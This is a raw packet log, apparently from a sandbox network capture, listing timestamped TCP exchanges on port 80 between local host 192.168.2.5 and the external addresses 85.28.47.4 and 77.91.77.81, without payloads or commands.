Jun 27, 2024 07:37:17.730092049 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.730098009 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.730108976 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.730114937 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.730120897 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.730125904 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.730133057 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.730138063 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.730143070 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.730154037 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:17.730158091 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.730158091 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:17.730201006 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:18.261782885 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:18.261782885 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:18.266616106 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:18.266627073 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:18.973056078 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:18.973268032 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:19.028312922 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:19.033186913 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:19.220911026 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:19.220954895 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:19.220967054 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:19.221185923 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:19.224466085 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:19.234647989 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:19.405719995 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:19.405783892 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:19.435360909 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:19.440421104 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:20.148760080 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:20.148885965 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:20.175766945 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:20.180666924 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:20.999111891 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:20.999212027 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:21.003030062 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:21.007853985 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.007947922 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:21.008054018 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:21.013927937 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.700752974 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.700807095 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.700818062 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.700859070 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.700867891 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:21.700902939 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:21.700941086 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:21.700961113 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.700979948 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.700990915 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.701004982 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:21.701028109 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:21.701040030 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:21.701122046 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.701133013 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.701144934 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.701162100 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:21.701184988 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:21.706137896 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.706185102 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.706196070 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.706209898 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:21.706249952 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:21.818289995 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.818314075 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.818363905 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:21.818393946 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:21.818466902 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.818506002 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:21.818535089 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.818546057 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.818574905 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:21.818591118 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:21.818743944 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.818789005 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:21.818818092 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.818856001 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:21.818967104 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.819014072 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.819017887 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:21.819024086 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.819056034 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:21.819072962 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:21.819396973 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.819446087 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:21.819452047 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.819462061 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.819492102 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:21.819509983 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:21.819834948 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.819847107 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.819885015 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:21.820264101 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.820312977 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.820312977 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:21.820322037 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.820353031 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:21.820369959 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:21.820627928 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.820673943 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:21.820683002 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.820693970 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.820718050 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:21.820733070 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:21.820774078 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.820785046 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.820816994 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:21.820837021 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:21.823137999 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.823149920 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.823223114 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:21.823371887 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.823421001 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:21.823425055 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.823436022 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.823470116 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:21.936615944 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.936718941 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.936729908 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.936741114 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.936752081 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.936758041 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.936764002 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.936786890 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:21.936826944 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:21.936958075 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.936969042 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.936985970 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.936996937 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.937000990 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:21.937010050 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.937036037 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:21.937064886 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:21.937086105 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.937134027 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:21.937158108 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.937170029 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.937180996 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.937191963 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.937203884 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:21.937238932 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:21.937349081 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.937388897 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:21.937398911 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.937411070 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.937443018 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:21.937532902 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.937544107 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.937555075 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.937567949 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.937576056 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:21.937608004 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:21.937771082 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.937782049 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.937793016 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.937803984 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.937808990 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:21.937814951 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.937827110 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.937836885 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:21.937865973 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:21.938900948 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.938920021 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.938931942 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.938971996 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:21.938992977 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.939018011 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:21.939074039 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:21.939116955 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.939127922 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.939137936 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.939150095 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.939157963 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:21.939172983 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:21.939202070 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:21.939244032 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.939296961 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:21.939337969 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.939351082 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.939362049 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.939373016 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.939378023 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:21.939397097 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:21.939425945 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:21.939466000 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.939476967 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.939511061 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:21.939527035 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:21.939532042 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.939543962 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.939555883 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.939567089 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:21.939574003 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:21.939591885 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:21.939620972 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.054111958 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.054126024 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.054136038 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.054153919 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.054163933 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.054173946 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.054183960 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.054218054 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.054271936 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.054296017 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.054318905 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.054337978 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.054361105 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.054363012 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.054402113 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.054456949 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.054466963 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.054476976 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.054498911 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.054532051 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.054636002 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.054646015 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.054656982 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.054666996 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.054675102 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.054677010 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.054687023 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.054696083 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.054728985 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.055320024 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.055377007 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.055382967 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.055387974 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.055418968 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.055438042 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.055511951 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.055522919 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.055533886 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.055545092 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.055553913 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.055577040 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.055603981 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.055784941 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.055794954 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.055804968 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.055814981 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.055825949 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.055833101 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.055834055 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.055844069 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.055855989 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.055856943 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.055866003 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.055896044 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.055922985 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.056138039 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.056148052 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.056159019 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.056184053 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.056210995 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.056231022 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.056272984 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.056323051 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.056333065 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.056341887 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.056353092 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.056361914 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.056365013 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.056396961 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.056519985 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.056562901 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.056653976 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.056663990 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.056673050 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.056684017 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.056693077 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.056694984 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.056703091 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.056711912 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.056715965 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.056723118 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.056730986 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.056741953 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.056747913 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.056766987 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.056785107 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.057085037 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.057128906 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.057147026 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.057156086 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.057184935 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.057205915 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.057281971 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.057291985 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.057301044 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.057312012 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.057322979 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.057342052 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.057368040 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.057535887 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.057544947 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.057554960 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.057564974 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.057575941 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.057578087 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.057585001 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.057595015 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.057604074 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.057607889 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.057615042 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.057627916 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.057641983 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.057671070 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.057879925 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.057929993 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.141668081 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.141688108 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.141700983 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.141712904 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.141747952 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.141784906 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.141791105 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.141797066 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.141808987 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.141819954 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.141834974 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.141853094 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.141877890 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.141942978 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.141954899 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.141985893 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.142003059 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.142039061 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.142052889 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.142065048 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.142076015 CEST	80	49706	77.91.77.81	192.168.2.5
